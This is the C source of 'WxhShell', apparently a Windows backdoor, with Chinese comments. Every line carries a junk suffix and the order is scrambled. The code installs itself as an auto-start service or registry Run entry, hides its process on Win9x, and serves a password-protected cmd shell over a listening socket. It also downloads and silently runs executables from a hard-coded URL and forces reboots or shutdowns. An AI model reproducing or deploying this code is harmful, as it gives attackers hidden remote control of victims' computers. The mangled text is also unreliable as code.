    if(Boot(SHUTDOWN)) KofjveOiC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '&?47+W  
    else { E-X-LR{CC  
    closesocket(wsh); \Wt&z,  
    ExitThread(0); Z B`!@/3X  
    } Kw(/#C:$  
    break; S?r:=GS  
    } ]}ff*W  
  // 获取shell b=F"  
  case 's': { A!Ng@r  
    CmdShell(wsh); `*KS` z?  
    closesocket(wsh); >6 :slNM#  
    ExitThread(0); bLCrh(<  
    break; &VR<'^>  
  } +P~zn=  
  // 退出 k,X)PQc  
  case 'x': { j+_g37$:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :7W5R  
    CloseIt(wsh); s<E_74q1  
    break; I}n"6'*  
    } tK g%5;v  
  // 离开 .NCQiQ  
  case 'q': { aZ5qq+1x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E Q?4?  
    closesocket(wsh); E4}MvV=  
    WSACleanup(); 4d!&.Qo9  
    exit(1); A~*Wr+pv  
    break; sFSrMI#R  
        } vIN6W   
  } ovm*,La)g  
  } |1J "r.K  
d>@{!c-  
  // 提示信息 .a;-7|x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T1n GBl\(  
} *fSa8CV  
  } }9Y='+.%^  
~`*:E'/5k]  
  return; 6XFO@c}d  
} FE M_7M  
QHP^1W`  
// shell模块句柄 gJs~kQU  
int CmdShell(SOCKET sock) `'0opoQRe  
{ Y)BKRS~  
STARTUPINFO si; =\CbX  
ZeroMemory(&si,sizeof(si)); +8Peh9"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0AR4/5.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5Tn4iyg;B  
PROCESS_INFORMATION ProcessInfo; !RiPr(m@y  
char cmdline[]="cmd"; :".!6~:2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MAJvjgd ..  
  return 0; h2=zvD;  
} Qksw+ZjY#{  
;1(OC-2>d  
// 自身启动模式 DgClN:Hw  
int StartFromService(void) fQOaTsyA  
{ %6Hn1'7+v  
typedef struct Gps  
{ t:m t9}$d  
  DWORD ExitStatus; =xG9a_^v  
  DWORD PebBaseAddress; 6TfXz2D'J  
  DWORD AffinityMask; >f`}CLsY  
  DWORD BasePriority; am:LLk-Lx  
  ULONG UniqueProcessId; (c(?s`;  
  ULONG InheritedFromUniqueProcessId; Kh$L~4l  
}   PROCESS_BASIC_INFORMATION; lD/+LyTa  
Ta9;;B?$  
PROCNTQSIP NtQueryInformationProcess; *D4H;P#  
>4h4t/G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $?*+P``  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jLb3{}0  
>z[d ~  
  HANDLE             hProcess; 2GZUMXK  
  PROCESS_BASIC_INFORMATION pbi; }f6.eqBX4  
!p0FJ].g,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @M,KA {e  
  if(NULL == hInst ) return 0; Rw$ @%o%  
[K"v)B'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^QYI`u`4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r>z8DX@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +X Y}-  
ef!I |.FW  
  if (!NtQueryInformationProcess) return 0; NA0hQGN}  
~PoGuj2wA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0&5}[9?V'  
  if(!hProcess) return 0; Or_9KX2  
foL`{fA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JmY"Ja,&  
f kP WGd  
  CloseHandle(hProcess); ~_S`zzcZy4  
[FC%_R&&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \[,7#  
if(hProcess==NULL) return 0; oiFtPki  
!knYD}Rxd  
HMODULE hMod; %>JqwMK  
char procName[255]; NugJjd56x  
unsigned long cbNeeded; 4pc=MR  
*YtITyDS3>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0 _&oMPY  
F$+_Z~yt3;  
  CloseHandle(hProcess); =?FA9wm  
JBU qZ  
if(strstr(procName,"services")) return 1; // 以服务启动 BA-n+WCWJ  
d]@9kG  
  return 0; // 注册表启动 0K#dWc}"a  
} iqOd]H]v  
rH-_L&  
// 主模块 kkd<CEz2IM  
int StartWxhshell(LPSTR lpCmdLine) xX|-5cM;  
{ Jwa2Y0  
  SOCKET wsl; g$]9xn#_[  
BOOL val=TRUE; VF[]E0=u6  
  int port=0; !PQ@"L)p  
  struct sockaddr_in door; nY~CAo/:  
Kt`0vwkjvI  
  if(wscfg.ws_autoins) Install(); E~N}m7kTl/  
=)y=M!T2  
port=atoi(lpCmdLine); ;)cl Cm46  
yq&]>ox  
if(port<=0) port=wscfg.ws_port; ?!A{n3\<  
JFZZ-t;*  
  WSADATA data; e@I?ESZ5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y$,]~Qzq  
1miTE4;?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _N*4 3O`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (# ?~^ut  
  door.sin_family = AF_INET; sS+9ly{9J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y<kvJb&1*  
  door.sin_port = htons(port); v"bOv"!al  
yWX:`*GV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^M,Q<HL  
closesocket(wsl); g4-HUc zk  
return 1; 7v=Nh  
} /yH:ur  
C\fc 4  
  if(listen(wsl,2) == INVALID_SOCKET) { *[ A%tj%  
closesocket(wsl); [!DLT6Qk  
return 1; F%< 0pi  
} rV1JJ.I  
  Wxhshell(wsl); \hm=AGI0  
  WSACleanup(); ?MN?.O9-  
/Wzic+v<>  
return 0; SM@1<OCc  
O(!wDnhc  
} Os[^ch  
;=_KLG <  
// 以NT服务方式启动 IJ=~hBI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FC)aR[  
{ &&t4G}*  
DWORD   status = 0; Dj %jrtT  
  DWORD   specificError = 0xfffffff; ?BLd~L+  
kOkgsQQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o[8Y%3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Kh%9Oy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r,0> 40^  
  serviceStatus.dwWin32ExitCode     = 0; C>j"Ck^<  
  serviceStatus.dwServiceSpecificExitCode = 0; X,gXgxP\  
  serviceStatus.dwCheckPoint       = 0; j@ =n|cq  
  serviceStatus.dwWaitHint       = 0; '2# O{  
R%b,RH#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z*`CK^^~  
  if (hServiceStatusHandle==0) return; W\X51DrEx  
9C`Fd S   
status = GetLastError(); L$Ss]Ar=  
  if (status!=NO_ERROR) +mH Kk  
{ f? ko%c_p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \|wV Ii  
    serviceStatus.dwCheckPoint       = 0; O </<  
    serviceStatus.dwWaitHint       = 0; 7@C :4c@0  
    serviceStatus.dwWin32ExitCode     = status; e;[/ytz"d'  
    serviceStatus.dwServiceSpecificExitCode = specificError; 44b'40  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +[D=2&tmk  
    return; Z7Mc.[C  
  } 4Tq%V|5"&  
)Ax1?Nx$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }`*]&I[P  
  serviceStatus.dwCheckPoint       = 0; y"P$:l  
  serviceStatus.dwWaitHint       = 0; tl0_as  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x?f3XEA_  
} ( R Ttz  
?p6+?\H  
// 处理NT服务事件,比如:启动、停止 8Zwq:lV Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Mi S$Y  
{ q.rnZU  
switch(fdwControl) &9TG&~(+  
{ g$$uf[A-SL  
case SERVICE_CONTROL_STOP: I~#'76L[  
  serviceStatus.dwWin32ExitCode = 0; ~6{;3"^<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O cm  
  serviceStatus.dwCheckPoint   = 0; =|am=Q?Q  
  serviceStatus.dwWaitHint     = 0; +D$\^ <#  
  { ^[d)Hk}L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .GkH^9THP  
  } %6*xnB?  
  return; 1<ZvHv  
case SERVICE_CONTROL_PAUSE: }vp\lK P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <7u*OYjA  
  break; _ @ \  
case SERVICE_CONTROL_CONTINUE: !^B`7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \6nWt6M  
  break; /sC$;l  
case SERVICE_CONTROL_INTERROGATE: epz2d~;  
  break; mltN$b%G=d  
}; oIX]9~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t'FY*|xk  
} /__we[$E  
 [T !#s  
// 标准应用程序主函数 Q%q_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a?&oOQd-iP  
{ jC<<S  
glPOW  
// 获取操作系统版本 ~@TNVkw  
OsIsNt=GetOsVer(); k >U&Us0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8?P@<Do%  
.hBE&Y>\  
  // 从命令行安装 HWD  
  if(strpbrk(lpCmdLine,"iI")) Install(); Oh-HfJyi  
%6dFACv  
  // 下载执行文件 StaX~J6=  
if(wscfg.ws_downexe) { %w_h8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (g4.bbEm  
  WinExec(wscfg.ws_filenam,SW_HIDE); D.U)R7(  
}  +'Tr>2V  
JdFMSmZ@  
if(!OsIsNt) { u;;]S!:M  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~Ui<y=d  
HideProc(); g]z,*d  
StartWxhshell(lpCmdLine);  |Pwb7:a3  
}  `q%Z/!}  
else M}3>5*!=  
  if(StartFromService()) xH e<TwkI  
  // 以服务方式启动 uRwIxT2  
  StartServiceCtrlDispatcher(DispatchTable); {i`BDOaL  
else g:O~1jq  
  // 普通方式启动 ImyB4welo  
  StartWxhshell(lpCmdLine); j<wWPv  
KS3 /  
return 0; YD7i6A  
} v-_K'm  
`R=8=6Z+$q  
<~vamim#K  
F;5.nKo  
=========================================== } 3 RqaIY}  
=w_y<V4  
X=mzo\Aos  
+n9]c~g!T0  
bgL`FW i3  
u m(A3uQ  
" FC/m,D50oI  
rh?!f(_@  
#include <stdio.h> |j<b?  
#include <string.h> k9'%8(7M:  
#include <windows.h> 8cF-kfbfZ  
#include <winsock2.h> \0'o*nlJ  
#include <winsvc.h> ``$At,m  
#include <urlmon.h> {pE")O7~P  
=H3 JRRS  
#pragma comment (lib, "Ws2_32.lib")  3m  
#pragma comment (lib, "urlmon.lib") HE7JQP!q  
gO1`zP!9Z  
#define MAX_USER   100 // 最大客户端连接数 3zGxe-  
#define BUF_SOCK   200 // sock buffer ID E3>D  
#define KEY_BUFF   255 // 输入 buffer F+v?2|03  
d]$z&E  
#define REBOOT     0   // 重启 |:L<Ko  
#define SHUTDOWN   1   // 关机 _:?)2NV  
]aXCi"fMs  
#define DEF_PORT   5000 // 监听端口 8'@pX<  
W2qW`Ujo{  
#define REG_LEN     16   // 注册表键长度 -U'6fx) +  
#define SVC_LEN     80   // NT服务名长度 L&][730  
2BsMFMIw1  
// 从dll定义API _<=U.T`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p p9Gzn C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /{\tkvv-Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); srw5&s(3X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w}K<,5I>  
0^?(;AK  
// wxhshell配置信息 :p%nQF,*f  
struct WSCFG { VfAIx]Fa  
  int ws_port;         // 监听端口 vZq7U]RW  
  char ws_passstr[REG_LEN]; // 口令 IM7k\  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0bzD-K4WVd  
  char ws_regname[REG_LEN]; // 注册表键名 -r_z,h|  
  char ws_svcname[REG_LEN]; // 服务名 5E+l5M*(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c<r`E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v%VCFJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VSc;}LH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B=JeZMn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `7LN?- T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \\Fl,'  
r8pTtf#Q  
}; ?9i 7w1`  
qXn %c"  
// default Wxhshell configuration M%/ML=eLi  
struct WSCFG wscfg={DEF_PORT, /<\>j+SC  
    "xuhuanlingzhe", w*eO9k  
    1, K%Vl:2#F  
    "Wxhshell", ICTl{|i ]  
    "Wxhshell", ]<WKi=  
            "WxhShell Service", XuVbi=pN.2  
    "Wrsky Windows CmdShell Service", L*6Tz'Qp  
    "Please Input Your Password: ", W+Z] Y  
  1, 9\0  
  "http://www.wrsky.com/wxhshell.exe", 6(f[<V!r  
  "Wxhshell.exe" MR:Co4(  
    }; {()8 W r  
;Bd0 =C  
// 消息定义模块 r%}wPN(?D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #5-0R7\d7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q%]0%S?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,/BBG\mJ  
char *msg_ws_ext="\n\rExit.";   lCr  
char *msg_ws_end="\n\rQuit."; ;HlVU  
char *msg_ws_boot="\n\rReboot..."; =q.2S; ?  
char *msg_ws_poff="\n\rShutdown..."; B- N  
char *msg_ws_down="\n\rSave to "; AA:Ch?  
Z f4Xt Yn  
char *msg_ws_err="\n\rErr!"; _S7GkpoK  
char *msg_ws_ok="\n\rOK!"; ~Yv"=  
WFocA:  
char ExeFile[MAX_PATH]; w4<RV:Vmt  
int nUser = 0; XsQ?&xK=u  
HANDLE handles[MAX_USER]; QHUoAa`6v  
int OsIsNt; vZ\~+qV,A  
]d&6 ?7 !>  
SERVICE_STATUS       serviceStatus; CL5u{i5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B5hk]=Ud  
iEux`CcJ.  
// 函数声明 =5a~xlBjD  
int Install(void); L&+XFntR  
int Uninstall(void); d}GO(  
int DownloadFile(char *sURL, SOCKET wsh); '=EaZ>=  
int Boot(int flag); ExqI=k`Zs  
void HideProc(void); Edj}\e*-J  
int GetOsVer(void); \::<]  
int Wxhshell(SOCKET wsl); S\ JV96  
void TalkWithClient(void *cs); AfpB=3  
int CmdShell(SOCKET sock); k%?wNk>  
int StartFromService(void); }Y~o =3-  
int StartWxhshell(LPSTR lpCmdLine); ]i3 2-8%  
^n"ve2   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); US 9cuah1/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &EYO[~D06  
?*zRM?*  
// 数据结构和表定义 u*  G|TF  
SERVICE_TABLE_ENTRY DispatchTable[] = r4D*$H-rR  
{ hhLEU_U  
{wscfg.ws_svcname, NTServiceMain}, HA&][%^  
{NULL, NULL} Lj6$?(x}  
}; ~rN~Ql%S  
GxL5yeN@(  
// 自我安装 #uVH~P5TM  
int Install(void) `%EMhk  
{ BX;Z t9"*  
  char svExeFile[MAX_PATH]; .-T^ S"`d|  
  HKEY key; LSv0zAIe/  
  strcpy(svExeFile,ExeFile); j y R 9a!  
I:Wrwd  
// 如果是win9x系统,修改注册表设为自启动 MQ9 9fD$  
if(!OsIsNt) { R R<92R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { glbU\K> >  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /\"=egB9  
  RegCloseKey(key); -&oJ@Aa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >_XRh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B v /]>Z  
  RegCloseKey(key); );$_|]#  
  return 0; h1} x2  
    } >y#<WB$i  
  } T B~C4HK=  
} c7.%Bn,  
else { ~]a:9Ev*  
|f;u5r!^=  
// 如果是NT以上系统,安装为系统服务 Xs$k6C3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3yn>9qt  
if (schSCManager!=0) N1`/~Gi  
{ H]K(`)y}4  
  SC_HANDLE schService = CreateService Q"n|<!DN  
  ( (E )@@p7,:  
  schSCManager, @JVax-N  
  wscfg.ws_svcname, ZNNgi@6>  
  wscfg.ws_svcdisp, N '2Nv  
  SERVICE_ALL_ACCESS, RZi]0l_A'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }D j W  
  SERVICE_AUTO_START, #)QR^ss)iw  
  SERVICE_ERROR_NORMAL, yyb8l l?@a  
  svExeFile, NCbn<ojb  
  NULL, %GQPiWu  
  NULL, nm2bBX,fh  
  NULL, ?a+>%uWt  
  NULL, ,r!_4|\  
  NULL $e1==@ R  
  ); @ eu4W^W  
  if (schService!=0) 6a5 1bj!f  
  { |{udd~oE&  
  CloseServiceHandle(schService); gZF-zhnC  
  CloseServiceHandle(schSCManager); GawQ~rD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tP8>0\$)  
  strcat(svExeFile,wscfg.ws_svcname); C qOvVv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0+p <Jc!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `Nmw  
  RegCloseKey(key); H5j6$y|I|N  
  return 0; 'F.Da#st!}  
    } D&KRJQ/  
  } 1Ys6CJ#  
  CloseServiceHandle(schSCManager); Ucr$5^ME  
} MgkeD  
} qT}<D`\  
qC]6g  
return 1; P0,@#M&  
} @."_XL74  
}xXUCU<  
// 自我卸载 |#G.2hMFr  
int Uninstall(void) ]/&qv6D*d  
{ 5'>DvCp%M  
  HKEY key; ,xmmS\  
5nC#<EE  
if(!OsIsNt) { |Xz-rgkQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ([\mnL<FC  
  RegDeleteValue(key,wscfg.ws_regname); a hQdBoj  
  RegCloseKey(key); IJ >qs8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nKpXRuFn\  
  RegDeleteValue(key,wscfg.ws_regname); foO /Yc  
  RegCloseKey(key); %i[G6+-  
  return 0; d^AXhQjQN-  
  } \>,[5|GU  
} &p|+K XIf  
} tP/0_^m  
else { b?S,%  
x UM,"+h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); otTv,T182  
if (schSCManager!=0) W>$2BsO  
{ jFS])",\i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =GH>-*qp  
  if (schService!=0) SStaS<q '  
  { 2:b3+{\f  
  if(DeleteService(schService)!=0) { {yFCGCs  
  CloseServiceHandle(schService); %@Mv-A6)  
  CloseServiceHandle(schSCManager); v;_m1UpuW  
  return 0; `wIMu$i  
  } W%Jw\ z=  
  CloseServiceHandle(schService); &d}1) ?  
  } o%Ubn*  
  CloseServiceHandle(schSCManager); "QCtF55X&  
} E<6Fjy  
} oY)xXx  
}XHB7,  
return 1; 02+ k,xFb  
} UYOveQ;  
 rvP Y  
// 从指定url下载文件 Wgp}v93  
int DownloadFile(char *sURL, SOCKET wsh) \piB*"ln  
{ <K6gzi0fl  
  HRESULT hr; Jkf%k3H3I*  
char seps[]= "/"; LdAWCBLS  
char *token; :@x_& b  
char *file; \mGx-g6  
char myURL[MAX_PATH]; :'hc&wk`  
char myFILE[MAX_PATH]; 7I\qEr57  
Tnd)4}2 p  
strcpy(myURL,sURL); 2H\ }N^;f  
  token=strtok(myURL,seps);  8kn> ?  
  while(token!=NULL) X8m@xFW}  
  { K9z 1'k QH  
    file=token; ~bC-0^/ 8|  
  token=strtok(NULL,seps); LsW7JIQd  
  } M{(g"ha  
]Q8[,HTG  
GetCurrentDirectory(MAX_PATH,myFILE); (}!xO?NA(  
strcat(myFILE, "\\"); [Q0n-b,Q  
strcat(myFILE, file); Ui:WbH<b{  
  send(wsh,myFILE,strlen(myFILE),0); 7dxe03h  
send(wsh,"...",3,0); ohLM9mc9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,#/%Fn%T  
  if(hr==S_OK) )-jA4!&  
return 0; >oD,wSYV~  
else z8VcV*6  
return 1; '.{tE*  
dUvgFOy|P  
} G+5_I"`W  
\ t=ls  
// 系统电源模块 #3 ~#`&  
int Boot(int flag) ;*J_V/&?  
{  m[>pv1o  
  HANDLE hToken; s:O8dL /  
  TOKEN_PRIVILEGES tkp; Fy6(N{hql  
!4Oj^yy%  
  if(OsIsNt) { |!Uul0O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e9\eh? bPU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l.>3gjr  
    tkp.PrivilegeCount = 1; A r=P;6J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v?Ds|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vz~`M9^  
if(flag==REBOOT) { ]cmq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y| dw>qO  
  return 0; fo$s9g^<  
} `<#Ufi*c  
else { xU6rZ CqE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) " J4?Sb<  
  return 0; d~QZc R  
} fK 4,k:YC  
  } [@_IUvf^.  
  else {  gl$}t H  
if(flag==REBOOT) {  9M]%h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jn\@wF9xd  
  return 0; >?L)+*^  
} ~9We)FvU4  
else { S\poa:D`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [Dq@(Q s'  
  return 0; 0F5QAR O  
} 8V?*Bz-4`  
} }VU7wMk  
&Hj1jM'  
return 1; oF(=@UL  
} j6&q6C X  
#TG7WF 5  
// win9x进程隐藏模块 xoB "hNIX  
void HideProc(void) w3>.d(Q  
{ [G<SAWFg7  
SB) Hz8<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N5F+h94z]  
  if ( hKernel != NULL ) AMSn^ 75  
  { uS|f|)U&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b/]@G05>>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1nZ7xCDK98  
    FreeLibrary(hKernel); 4qKMnYR  
  } ETQL,t9m  
cT.8&EEW  
return; IxU#x*  
} L?&Trq7i  
CBu$8]9=  
// 获取操作系统版本 U|jip1\  
int GetOsVer(void) +ab#2~,)  
{ #I-qL/Lm  
  OSVERSIONINFO winfo; E]gy5y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b8O }XB  
  GetVersionEx(&winfo); dXMO{*MF{H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "8R\!i.  
  return 1; _08y; _S  
  else b/g~;| <  
  return 0; XTKAy;'5  
} f1wwx|b%.  
O|e/(s?$  
// 客户端句柄模块 W*Gp0pX  
int Wxhshell(SOCKET wsl) N 6t`45  
{ m^%Xl@V:c-  
  SOCKET wsh; @~j- -L  
  struct sockaddr_in client; OlcWptM$  
  DWORD myID; rhH !-`m  
Aw,#oG {N  
  while(nUser<MAX_USER) f eA(Rj  
{ omZ bn  
  int nSize=sizeof(client); Uv|^k8(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E>L_$J-A-  
  if(wsh==INVALID_SOCKET) return 1; a-Ne!M[  
MngfXm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r.10b]b  
if(handles[nUser]==0) [W--%=Ou  
  closesocket(wsh); w@$_2t  
else x)prI6YMv\  
  nUser++; yoVN|5  
  } 'U{6LSaCb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NB .&J7v  
Z*kZUx7I<  
  return 0; |n %<p  
} *OR(8;  
|7:{vA5  
// 关闭 socket _Z3_I_lW  
void CloseIt(SOCKET wsh) D]zpG  
{ ?{KC@c*c  
closesocket(wsh); W<OO:B.ty  
nUser--; jKhj 7dR  
ExitThread(0); EC f $  
} i= s>a;*#  
/GU%{nT  
// 客户端请求句柄 H\RuYCn2G  
void TalkWithClient(void *cs) F^}n7h=qk  
{ V~ [I /Vi  
1Jn:huV2  
  SOCKET wsh=(SOCKET)cs; Xb5 $ijH  
  char pwd[SVC_LEN]; ]M.)N.T  
  char cmd[KEY_BUFF]; ((E5w:=?  
char chr[1]; }ej-Lu,b3  
int i,j; OJ4-p&1  
5c+7c@.  
  while (nUser < MAX_USER) { v}^ f8nVR  
!Z`xwk"!  
if(wscfg.ws_passstr) { `^1&Qz>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tX.{+yyU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  !#Hca  
  //ZeroMemory(pwd,KEY_BUFF); oQ_n:<3X  
      i=0; cwKOE?!  
  while(i<SVC_LEN) { K}YOs.  
?Ulc`-d  
  // 设置超时 T7!=KE_z  
  fd_set FdRead; dD}!E  
  struct timeval TimeOut; #zv'N  
  FD_ZERO(&FdRead); Xn:ac^  
  FD_SET(wsh,&FdRead); (??|\ &DTi  
  TimeOut.tv_sec=8; sow/JLlbC  
  TimeOut.tv_usec=0; &`A2&mZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \`:LPe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ICI8xP}a?  
!>L+q@l)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O-K!Bv^ Q  
  pwd=chr[0]; uH?lj&  
  if(chr[0]==0xd || chr[0]==0xa) { 4,g3 c  
  pwd=0; OJ\rT.{  
  break; M"$TXXe  
  } ;r XhK$  
  i++; %D:5 S?{  
    } 4uUR2J  
)B' U_*  
  // 如果是非法用户,关闭 socket # pz{,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ofA6EmQ37  
} r]vD]  
rO`n S<G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sw@* N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S.Fip _  
]0wmvTR  
while(1) { 3tTz$$-#  
QU{\ClW/?  
  ZeroMemory(cmd,KEY_BUFF); Pf]O'G&F  
4MOA}FZ~  
      // 自动支持客户端 telnet标准   I#tEDeF2  
  j=0; (B zf~#]~  
  while(j<KEY_BUFF) {  YErn50L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7F{=bL  
  cmd[j]=chr[0]; 6}6ky9  
  if(chr[0]==0xa || chr[0]==0xd) { l C|{{?m  
  cmd[j]=0; xR, ;^R|C  
  break; WPM<Qv L  
  } XU#nqvS`.  
  j++; ^(0tNX/XD  
    } OWK)4[HY(  
Z0e+CEzq  
  // 下载文件 HG%H@uK  
  if(strstr(cmd,"http://")) { IJnr^S8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jdYv*/^  
  if(DownloadFile(cmd,wsh)) f-tV8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6)eU &5z1?  
  else }PY? ZG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g loo].z  
  } uGQCW\!"4  
  else {  N>Pufr  
\g}FoN&  
    switch(cmd[0]) { g/q$;cB  
  EN%Xs578  
  // 帮助 32IN;X|  
